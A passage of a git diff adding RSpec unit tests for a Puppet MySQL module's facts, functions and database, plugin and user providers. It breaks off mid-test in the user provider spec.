+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_local.rb
@@ -0,0 +1,2 @@
+require 'rspec-puppet-facts'
+include RspecPuppetFacts
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_server_id_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_server_id_spec.rb
new file mode 100644
index 000000000..889dab0c9
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_server_id_spec.rb
@@ -0,0 +1,27 @@
+require 'spec_helper'
+
+describe Facter::Util::Fact.to_s do
+ before(:each) do
+ Facter.clear
+ end
+
+ describe 'mysql_server_id' do
+ context "igalic's laptop" do
+ before :each do
+ Facter.fact(:macaddress).stubs(:value).returns('3c:97:0e:69:fb:e1')
+ end
+ it do
+ Facter.fact(:mysql_server_id).value.to_s.should == '4116385'
+ end
+ end
+
+ context 'node with lo only' do
+ before :each do
+ Facter.fact(:macaddress).stubs(:value).returns('00:00:00:00:00:00')
+ end
+ it do
+ Facter.fact(:mysql_server_id).value.to_s.should == '0'
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_version_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_version_spec.rb
new file mode 100644
index 000000000..d49fe1db3
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysql_version_spec.rb
@@ -0,0 +1,18 @@
+require 'spec_helper'
+
+describe Facter::Util::Fact.to_s do
+ before(:each) do
+ Facter.clear
+ end
+
+ describe 'mysql_version' do
+ context 'with value' do
+ before :each do
+ Facter::Util::Resolution.stubs(:exec).with('mysql --version').returns('mysql Ver 14.12 Distrib 5.0.95, for redhat-linux-gnu (x86_64) using readline 5.1')
+ end
+ it {
+ expect(Facter.fact(:mysql_version).value).to eq('5.0.95')
+ }
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysqld_version_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysqld_version_spec.rb
new file mode 100644
index 000000000..e2c01ea13
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/facter/mysqld_version_spec.rb
@@ -0,0 +1,18 @@
+require 'spec_helper'
+
+describe Facter::Util::Fact.to_s do
+ before(:each) do
+ Facter.clear
+ end
+
+ describe 'mysqld_version' do
+ context 'with value' do
+ before :each do
+ Facter::Util::Resolution.stubs(:exec).with('mysqld -V 2>/dev/null').returns('mysqld Ver 5.5.49-37.9 for Linux on x86_64 (Percona Server (GPL), Release 37.9, Revision efa0073)')
+ end
+ it {
+ expect(Facter.fact(:mysqld_version).value).to eq('mysqld Ver 5.5.49-37.9 for Linux on x86_64 (Percona Server (GPL), Release 37.9, Revision efa0073)')
+ }
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb
new file mode 100644
index 000000000..c2ad8895d
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_deepmerge_spec.rb
@@ -0,0 +1,102 @@
+#! /usr/bin/env ruby -S rspec # rubocop:disable Lint/ScriptPermission
+
+require 'spec_helper'
+
+describe Puppet::Parser::Functions.function(:mysql_deepmerge) do
+ let(:scope) { PuppetlabsSpec::PuppetInternals.scope }
+
+ describe 'when calling mysql_deepmerge from puppet' do
+ it 'does not compile when no arguments are passed' do
+ skip('Fails on 2.6.x, see bug #15912') if Puppet.version =~ %r{^2\.6\.}
+ Puppet[:code] = '$x = mysql_deepmerge()'
+ expect {
+ scope.compiler.compile
+ }.to raise_error(Puppet::ParseError, %r{wrong number of arguments})
+ end
+
+ it 'does not compile when 1 argument is passed' do
+ skip('Fails on 2.6.x, see bug #15912') if Puppet.version =~ %r{^2\.6\.}
+ Puppet[:code] = "$my_hash={'one' => 1}\n$x = mysql_deepmerge($my_hash)"
+ expect {
+ scope.compiler.compile
+ }.to raise_error(Puppet::ParseError, %r{wrong number of arguments})
+ end
+ end
+
+ describe 'when calling mysql_deepmerge on the scope instance' do
+ it 'accepts empty strings as puppet undef' do
+ expect { scope.function_mysql_deepmerge([{}, '']) }.not_to raise_error
+ end
+
+ index_values = %w[one two three]
+ expected_values_one = %w[1 2 2]
+ it 'is able to mysql_deepmerge two hashes' do
+ new_hash = scope.function_mysql_deepmerge([{ 'one' => '1', 'two' => '1' }, { 'two' => '2', 'three' => '2' }])
+ index_values.each_with_index do |index, expected|
+ expect(new_hash[index]).to eq(expected_values_one[expected])
+ end
+ end
+
+ it 'mysql_deepmerges multiple hashes' do
+ hash = scope.function_mysql_deepmerge([{ 'one' => 1 }, { 'one' => '2' }, { 'one' => '3' }])
+ expect(hash['one']).to eq('3')
+ end
+
+ it 'accepts empty hashes' do
+ expect(scope.function_mysql_deepmerge([{}, {}, {}])).to eq({})
+ end
+
+ expected_values_two = [1, 2, 'four' => 4]
+ it 'mysql_deepmerges subhashes' do
+ hash = scope.function_mysql_deepmerge([{ 'one' => 1 }, { 'two' => 2, 'three' => { 'four' => 4 } }])
+ index_values.each_with_index do |index, expected|
+ expect(hash[index]).to eq(expected_values_two[expected])
+ end
+ end
+
+ it 'appends to subhashes' do
+ hash = scope.function_mysql_deepmerge([{ 'one' => { 'two' => 2 } }, { 'one' => { 'three' => 3 } }])
+ expect(hash['one']).to eq('two' => 2, 'three' => 3)
+ end
+
+ expected_values_three = [1, 'dos', { 'four' => 4, 'five' => 5 }]
+ it 'appends to subhashes 2' do
+ hash = scope.function_mysql_deepmerge([{ 'one' => 1, 'two' => 2, 'three' => { 'four' => 4 } }, { 'two' => 'dos', 'three' => { 'five' => 5 } }])
+ index_values.each_with_index do |index, expected|
+ expect(hash[index]).to eq(expected_values_three[expected])
+ end
+ end
+
+ index_values_two = %w[key1 key2]
+ expected_values_four = [{ 'a' => 1, 'b' => 99 }, 'c' => 3]
+ it 'appends to subhashes 3' do
+ hash = scope.function_mysql_deepmerge([{ 'key1' => { 'a' => 1, 'b' => 2 }, 'key2' => { 'c' => 3 } }, { 'key1' => { 'b' => 99 } }])
+ index_values_two.each_with_index do |index, expected|
+ expect(hash[index]).to eq(expected_values_four[expected])
+ end
+ end
+
+ it 'equates keys mod dash and underscore #value' do
+ hash = scope.function_mysql_deepmerge([{ 'a-b-c' => 1 }, { 'a_b_c' => 10 }])
+ expect(hash['a_b_c']).to eq(10)
+ end
+ it 'equates keys mod dash and underscore #not' do
+ hash = scope.function_mysql_deepmerge([{ 'a-b-c' => 1 }, { 'a_b_c' => 10 }])
+ expect(hash).not_to have_key('a-b-c')
+ end
+
+ index_values_three = ['a_b_c', 'b-c-d']
+ expected_values_five = [10, { 'e-f-g' => 3, 'c_d_e' => 12 }]
+ index_values_error = ['a-b-c', 'b_c_d']
+ index_values_three.each_with_index do |index, expected|
+ it 'keeps style of the last when keys are euqal mod dash and underscore #value' do
+ hash = scope.function_mysql_deepmerge([{ 'a-b-c' => 1, 'b_c_d' => { 'c-d-e' => 2, 'e-f-g' => 3 } }, { 'a_b_c' => 10, 'b-c-d' => { 'c_d_e' => 12 } }])
+ expect(hash[index]).to eq(expected_values_five[expected])
+ end
+ it 'keeps style of the last when keys are euqal mod dash and underscore #not' do
+ hash = scope.function_mysql_deepmerge([{ 'a-b-c' => 1, 'b_c_d' => { 'c-d-e' => 2, 'e-f-g' => 3 } }, { 'a_b_c' => 10, 'b-c-d' => { 'c_d_e' => 12 } }])
+ expect(hash).not_to have_key(index_values_error[expected])
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_password_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_password_spec.rb
new file mode 100644
index 000000000..b1794f8b1
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/functions/mysql_password_spec.rb
@@ -0,0 +1,36 @@
+require 'spec_helper'
+
+describe 'the mysql_password function' do
+ before :all do # rubocop:disable RSpec/BeforeAfterAll
+ Puppet::Parser::Functions.autoloader.loadall
+ end
+
+ let(:scope) { PuppetlabsSpec::PuppetInternals.scope }
+
+ it 'exists' do
+ expect(Puppet::Parser::Functions.function('mysql_password')).to eq('function_mysql_password')
+ end
+
+ it 'raises a ParseError if there is less than 1 arguments' do
+ expect { scope.function_mysql_password([]) }.to(raise_error(Puppet::ParseError))
+ end
+
+ it 'raises a ParseError if there is more than 1 arguments' do
+ expect { scope.function_mysql_password(%w[foo bar]) }.to(raise_error(Puppet::ParseError))
+ end
+
+ it 'converts password into a hash' do
+ result = scope.function_mysql_password(%w[password])
+ expect(result).to(eq('*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19'))
+ end
+
+ it 'converts an empty password into a empty string' do
+ result = scope.function_mysql_password([''])
+ expect(result).to(eq(''))
+ end
+
+ it 'does not convert a password that is already a hash' do
+ result = scope.function_mysql_password(['*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19'])
+ expect(result).to(eq('*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19'))
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb
new file mode 100644
index 000000000..ffa624444
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_database/mysql_spec.rb
@@ -0,0 +1,113 @@
+require 'spec_helper'
+
+describe Puppet::Type.type(:mysql_database).provider(:mysql) do
+ let(:defaults_file) { '--defaults-extra-file=/root/.my.cnf' }
+ let(:parsed_databases) { %w[information_schema mydb mysql performance_schema test] }
+ let(:provider) { resource.provider }
+ let(:instance) { provider.class.instances.first }
+ let(:resource) do
+ Puppet::Type.type(:mysql_database).new(
+ ensure: :present, charset: 'latin1',
+ collate: 'latin1_swedish_ci', name: 'new_database',
+ provider: described_class.name
+ )
+ end
+ let(:raw_databases) do
+ # rubocop:disable Layout/IndentHeredoc
+ <<-SQL_OUTPUT
+information_schema
+mydb
+mysql
+performance_schema
+test
+ SQL_OUTPUT
+ # rubocop:enable Layout/IndentHeredoc
+ end
+
+ before :each do
+ Facter.stubs(:value).with(:root_home).returns('/root')
+ Puppet::Util.stubs(:which).with('mysql').returns('/usr/bin/mysql')
+ File.stubs(:file?).with('/root/.my.cnf').returns(true)
+ provider.class.stubs(:mysql_caller).with('show databases', 'regular').returns('new_database')
+ provider.class.stubs(:mysql_caller).with(["show variables like '%_database'", 'new_database'], 'regular').returns("character_set_database latin1\ncollation_database latin1_swedish_ci\nskip_show_database OFF") # rubocop:disable Metrics/LineLength
+ end
+
+ describe 'self.instances' do
+ it 'returns an array of databases' do
+ provider.class.stubs(:mysql_caller).with('show databases', 'regular').returns(raw_databases)
+ raw_databases.each_line do |db|
+ provider.class.stubs(:mysql_caller).with(["show variables like '%_database'", db.chomp], 'regular').returns("character_set_database latin1\ncollation_database latin1_swedish_ci\nskip_show_database OFF") # rubocop:disable Metrics/LineLength
+ end
+ databases = provider.class.instances.map { |x| x.name }
+ expect(parsed_databases).to match_array(databases)
+ end
+ end
+
+ describe 'self.prefetch' do
+ it 'exists' do
+ provider.class.instances
+ provider.class.prefetch({})
+ end
+ end
+
+ describe 'create' do
+ it 'makes a database' do
+ provider.class.expects(:mysql_caller).with("create database if not exists `#{resource[:name]}` character set `#{resource[:charset]}` collate `#{resource[:collate]}`", 'regular')
+ provider.expects(:exists?).returns(true)
+ expect(provider.create).to be_truthy
+ end
+ end
+
+ describe 'destroy' do
+ it 'removes a database if present' do
+ provider.class.expects(:mysql_caller).with("drop database if exists `#{resource[:name]}`", 'regular')
+ provider.expects(:exists?).returns(false)
+ expect(provider.destroy).to be_truthy
+ end
+ end
+
+ describe 'exists?' do
+ it 'checks if database exists' do
+ expect(instance).to be_exists
+ end
+ end
+
+ describe 'self.defaults_file' do
+ it 'sets --defaults-extra-file' do
+ File.stubs(:file?).with('/root/.my.cnf').returns(true)
+ expect(provider.defaults_file).to eq '--defaults-extra-file=/root/.my.cnf'
+ end
+ it 'fails if file missing' do
+ File.stubs(:file?).with('/root/.my.cnf').returns(false)
+ expect(provider.defaults_file).to be_nil
+ end
+ end
+
+ describe 'charset' do
+ it 'returns a charset' do
+ expect(instance.charset).to eq('latin1')
+ end
+ end
+
+ describe 'charset=' do
+ it 'changes the charset' do
+ provider.class.expects(:mysql_caller).with("alter database `#{resource[:name]}` CHARACTER SET blah", 'regular').returns('0')
+
+ provider.charset = 'blah'
+ end
+ end
+
+ describe 'collate' do
+ it 'returns a collate' do
+ expect(instance.collate).to eq('latin1_swedish_ci')
+ end
+ end
+
+ describe 'collate=' do
+ it 'changes the collate' do
+ provider.class.expects(:mysql_caller).with("alter database `#{resource[:name]}` COLLATE blah", 'regular').returns('0')
+
+ provider.collate = 'blah'
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb
new file mode 100644
index 000000000..5dea0f735
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_plugin/mysql_spec.rb
@@ -0,0 +1,68 @@
+require 'spec_helper'
+
+describe Puppet::Type.type(:mysql_plugin).provider(:mysql) do
+ let(:defaults_file) { '--defaults-extra-file=/root/.my.cnf' }
+ let(:provider) { resource.provider }
+ let(:instance) { provider.class.instances.first }
+ let(:resource) do
+ Puppet::Type.type(:mysql_plugin).new(
+ ensure: :present,
+ soname: 'auth_socket.so',
+ name: 'auth_socket',
+ provider: described_class.name,
+ )
+ end
+
+ before :each do
+ Facter.stubs(:value).with(:root_home).returns('/root')
+ Puppet::Util.stubs(:which).with('mysql').returns('/usr/bin/mysql')
+ File.stubs(:file?).with('/root/.my.cnf').returns(true)
+ provider.class.stubs(:mysql_caller).with('show plugins', 'regular').returns('auth_socket ACTIVE AUTHENTICATION auth_socket.so GPL')
+ end
+
+ describe 'self.prefetch' do
+ it 'exists' do
+ provider.class.instances
+ provider.class.prefetch({})
+ end
+ end
+
+ describe 'create' do
+ it 'loads a plugin' do
+ provider.class.expects(:mysql_caller).with("install plugin #{resource[:name]} soname '#{resource[:soname]}'", 'regular')
+ provider.expects(:exists?).returns(true)
+ expect(provider.create).to be_truthy
+ end
+ end
+
+ describe 'destroy' do
+ it 'unloads a plugin if present' do
+ provider.class.expects(:mysql_caller).with("uninstall plugin #{resource[:name]}", 'regular')
+ provider.expects(:exists?).returns(false)
+ expect(provider.destroy).to be_truthy
+ end
+ end
+
+ describe 'exists?' do
+ it 'checks if plugin exists' do
+ expect(instance).to be_exists
+ end
+ end
+
+ describe 'self.defaults_file' do
+ it 'sets --defaults-extra-file' do
+ File.stubs(:file?).with('/root/.my.cnf').returns(true)
+ expect(provider.defaults_file).to eq '--defaults-extra-file=/root/.my.cnf'
+ end
+ it 'fails if file missing' do
+ File.stubs(:file?).with('/root/.my.cnf').returns(false)
+ expect(provider.defaults_file).to be_nil
+ end
+ end
+
+ describe 'soname' do
+ it 'returns a soname' do
+ expect(instance.soname).to eq('auth_socket.so')
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb
new file mode 100644
index 000000000..84d7b63b3
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/unit/puppet/provider/mysql_user/mysql_spec.rb
@@ -0,0 +1,382 @@
+require 'spec_helper'
+
+describe Puppet::Type.type(:mysql_user).provider(:mysql) do
+ # Output of mysqld -V
+ mysql_version_string_hash = {
+ 'mysql-5.5' =>
+ {
+ version: '5.5.46',
+ string: '/usr/sbin/mysqld Ver 5.5.46-log for Linux on x86_64 (MySQL Community Server (GPL))',
+ mysql_type: 'mysql',
+ },
+ 'mysql-5.6' =>
+ {
+ version: '5.6.27',
+ string: '/usr/sbin/mysqld Ver 5.6.27 for Linux on x86_64 (MySQL Community Server (GPL))',
+ mysql_type: 'mysql',
+ },
+ 'mysql-5.7.1' =>
+ {
+ version: '5.7.1',
+ string: '/usr/sbin/mysqld Ver 5.7.1 for Linux on x86_64 (MySQL Community Server (GPL))',
+ mysql_type: 'mysql',
+ },
+ 'mysql-5.7.6' =>
+ {
+ version: '5.7.8',
+ string: '/usr/sbin/mysqld Ver 5.7.8-rc for Linux on x86_64 (MySQL Community Server (GPL))',
+ mysql_type: 'mysql',
+ },
+ 'mariadb-10.0' =>
+ {
+ version: '10.0.21',
+ string: '/usr/sbin/mysqld Ver 10.0.21-MariaDB for Linux on x86_64 (MariaDB Server)',
+ mysql_type: 'mariadb',
+ },
+ 'mariadb-10.0-deb8' =>
+ {
+ version: '10.0.23',
+ string: '/usr/sbin/mysqld (mysqld 10.0.23-MariaDB-0+deb8u1)',
+ mysql_type: 'mariadb',
+ },
+ 'percona-5.5' =>
+ {
+ version: '5.5.39',
+ string: 'mysqld Ver 5.5.39-36.0-55 for Linux on x86_64 (Percona XtraDB Cluster (GPL), Release rel36.0, Revision 824, WSREP version 25.11, wsrep_25.11.r4023)',
+ mysql_type: 'percona',
+ },
+ }
+
+ let(:defaults_file) { '--defaults-extra-file=/root/.my.cnf' }
+ let(:system_database) { '--database=mysql' }
+ let(:newhash) { '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5' }
+
+ let(:raw_users) do
+ # rubocop:disable Layout/IndentHeredoc
+ <<-SQL_OUTPUT
+root@127.0.0.1
+root@::1
+@localhost
+debian-sys-maint@localhost
+root@localhost
+usvn_user@localhost
+@vagrant-ubuntu-raring-64
+ SQL_OUTPUT
+ # rubocop:enable Layout/IndentHeredoc
+ end
+
+ let(:parsed_users) { %w[root@127.0.0.1 root@::1 @localhost debian-sys-maint@localhost root@localhost usvn_user@localhost @vagrant-ubuntu-raring-64] }
+ let(:provider) { resource.provider }
+ let(:instance) { provider.class.instances.first }
+ let(:resource) do
+ Puppet::Type.type(:mysql_user).new(
+ ensure: :present,
+ password_hash: '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4',
+ name: 'joe@localhost',
+ max_user_connections: '10',
+ max_connections_per_hour: '10',
+ max_queries_per_hour: '10',
+ max_updates_per_hour: '10',
+ provider: described_class.name,
+ )
+ end
+
+ before :each do
+ # Set up the stubs for an instances call.
+ Facter.stubs(:value).with(:root_home).returns('/root')
+ Facter.stubs(:value).with(:mysql_version).returns('5.6.24')
+ provider.class.instance_variable_set(:@mysqld_version_string, '5.6.24')
+ Puppet::Util.stubs(:which).with('mysql').returns('/usr/bin/mysql')
+ Puppet::Util.stubs(:which).with('mysqld').returns('/usr/sbin/mysqld')
+ File.stubs(:file?).with('/root/.my.cnf').returns(true)
+ provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns('joe@localhost')
+ provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = 'joe@localhost'", 'regular').returns('10 10 10 10 *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4') # rubocop:disable Metrics/LineLength
+ end
+
+ describe 'self.instances' do
+ it 'returns an array of users MySQL 5.5' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.5'][:string])
+ provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users)
+ parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength
+
+ usernames = provider.class.instances.map { |x| x.name }
+ expect(parsed_users).to match_array(usernames)
+ end
+ it 'returns an array of users MySQL 5.6' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.6'][:string])
+ provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users)
+ parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength
+
+ usernames = provider.class.instances.map { |x| x.name }
+ expect(parsed_users).to match_array(usernames)
+ end
+ it 'returns an array of users MySQL >= 5.7.0 < 5.7.6' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.1'][:string])
+ provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users)
+ parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength
+
+ usernames = provider.class.instances.map { |x| x.name }
+ expect(parsed_users).to match_array(usernames)
+ end
+ it 'returns an array of users MySQL >= 5.7.6' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.7.6'][:string])
+ provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users)
+ parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, AUTHENTICATION_STRING, PLUGIN FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength
+
+ usernames = provider.class.instances.map { |x| x.name }
+ expect(parsed_users).to match_array(usernames)
+ end
+ it 'returns an array of users mariadb 10.0' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mariadb-10.0'][:string])
+ provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users)
+ parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength
+
+ usernames = provider.class.instances.map { |x| x.name }
+ expect(parsed_users).to match_array(usernames)
+ end
+ it 'returns an array of users percona 5.5' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['percona-5.5'][:string])
+ provider.class.stubs(:mysql_caller).with("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').returns(raw_users)
+ parsed_users.each { |user| provider.class.stubs(:mysql_caller).with("SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{user}'", 'regular').returns('10 10 10 10 ') } # rubocop:disable Metrics/LineLength
+
+ usernames = provider.class.instances.map { |x| x.name }
+ expect(parsed_users).to match_array(usernames)
+ end
+ end
+
+ describe 'mysql version and type detection' do
+ mysql_version_string_hash.each do |_name, line|
+ version = line[:version]
+ string = line[:string]
+ mysql_type = line[:mysql_type]
+ it "detects version '#{version}'" do
+ provider.class.instance_variable_set(:@mysqld_version_string, string)
+ expect(provider.mysqld_version).to eq(version)
+ end
+ it "detects type '#{mysql_type}'" do
+ provider.class.instance_variable_set(:@mysqld_version_string, string)
+ expect(provider.mysqld_type).to eq(mysql_type)
+ end
+ end
+ end
+
+ describe 'self.prefetch' do
+ it 'exists' do
+ provider.class.instances
+ provider.class.prefetch({})
+ end
+ end
+
+ describe 'create' do
+ it 'makes a user' do
+ provider.class.expects(:mysql_caller).with("CREATE USER 'joe'@'localhost' IDENTIFIED BY PASSWORD '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4'", 'system')
+ provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' WITH MAX_USER_CONNECTIONS 10 MAX_CONNECTIONS_PER_HOUR 10 MAX_QUERIES_PER_HOUR 10 MAX_UPDATES_PER_HOUR 10", 'system') # rubocop:disable Metrics/LineLength
+ provider.class.expects(:mysql_caller).with("GRANT USAGE ON *.* TO 'joe'@'localhost' REQUIRE NONE", 'system')
+ provider.expects(:exists?).returns(true)
+ expect(provider.create).to be_truthy
+ end
+ end
+
+ describe 'destroy' do
+ it 'removes a user if present' do
+ provider.class.expects(:mysql_caller).with("DROP USER 'joe'@'localhost'", 'system')
+ provider.expects(:exists?).returns(false)
+ expect(provider.destroy).to be_truthy
+ end
+ end
+
+ describe 'exists?' do
+ it 'checks if user exists' do
+ expect(instance).to be_exists
+ end
+ end
+
+ describe 'self.mysqld_version' do
+ it 'uses the mysqld_version fact if unset' do
+ provider.class.instance_variable_set(:@mysqld_version_string, nil)
+ Facter.stubs(:value).with(:mysqld_version).returns('5.6.24')
+ expect(provider.mysqld_version).to eq '5.6.24'
+ end
+ it 'returns 5.7.6 for "mysqld Ver 5.7.6 for Linux on x86_64 (MySQL Community Server (GPL))"' do
+ provider.class.instance_variable_set(:@mysqld_version_string, 'mysqld Ver 5.7.6 for Linux on x86_64 (MySQL Community Server (GPL))')
+ expect(provider.mysqld_version).to eq '5.7.6'
+ end
+ it 'returns 5.7.6 for "mysqld Ver 5.7.6-rc for Linux on x86_64 (MySQL Community Server (GPL))"' do
+ provider.class.instance_variable_set(:@mysqld_version_string, 'mysqld Ver 5.7.6-rc for Linux on x86_64 (MySQL Community Server (GPL))')
+ expect(provider.mysqld_version).to eq '5.7.6'
+ end
+ it 'detects >= 5.7.6 for 5.7.7-log' do
+ provider.class.instance_variable_set(:@mysqld_version_string, 'mysqld Ver 5.7.7-log for Linux on x86_64 (MySQL Community Server (GPL))')
+ expect(Puppet::Util::Package.versioncmp(provider.mysqld_version, '5.7.6')).to be >= 0
+ end
+ it 'detects < 5.7.6 for 5.7.5-log' do
+ provider.class.instance_variable_set(:@mysqld_version_string, 'mysqld Ver 5.7.5-log for Linux on x86_64 (MySQL Community Server (GPL))')
+ expect(Puppet::Util::Package.versioncmp(provider.mysqld_version, '5.7.6')).to be < 0
+ end
+ end
+
+ describe 'self.defaults_file' do
+ it 'sets --defaults-extra-file' do
+ File.stubs(:file?).with('/root/.my.cnf').returns(true)
+ expect(provider.defaults_file).to eq '--defaults-extra-file=/root/.my.cnf'
+ end
+ it 'fails if file missing' do
+ File.expects(:file?).with('/root/.my.cnf').returns(false)
+ expect(provider.defaults_file).to be_nil
+ end
+ end
+
+ describe 'password_hash' do
+ it 'returns a hash' do
+ expect(instance.password_hash).to eq('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4')
+ end
+ end
+
+ describe 'password_hash=' do
+ it 'changes the hash mysql 5.5' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.5'][:string])
+ provider.class.expects(:mysql_caller).with("SET PASSWORD FOR 'joe'@'localhost' = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0')
+
+ provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5')
+ provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'
+ end
+ it 'changes the hash mysql 5.6' do
+ provider.class.instance_variable_set(:@mysqld_version_string, mysql_version_string_hash['mysql-5.6'][:string])
+ provider.class.expects(:mysql_caller).with("SET PASSWORD FOR 'joe'@'localhost' = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'", 'system').returns('0')
+
+ provider.expects(:password_hash).returns('*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5')
+ provider.password_hash = '*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF5'
+ end
+ it 'changes the hash mysql < 5.7.6' do
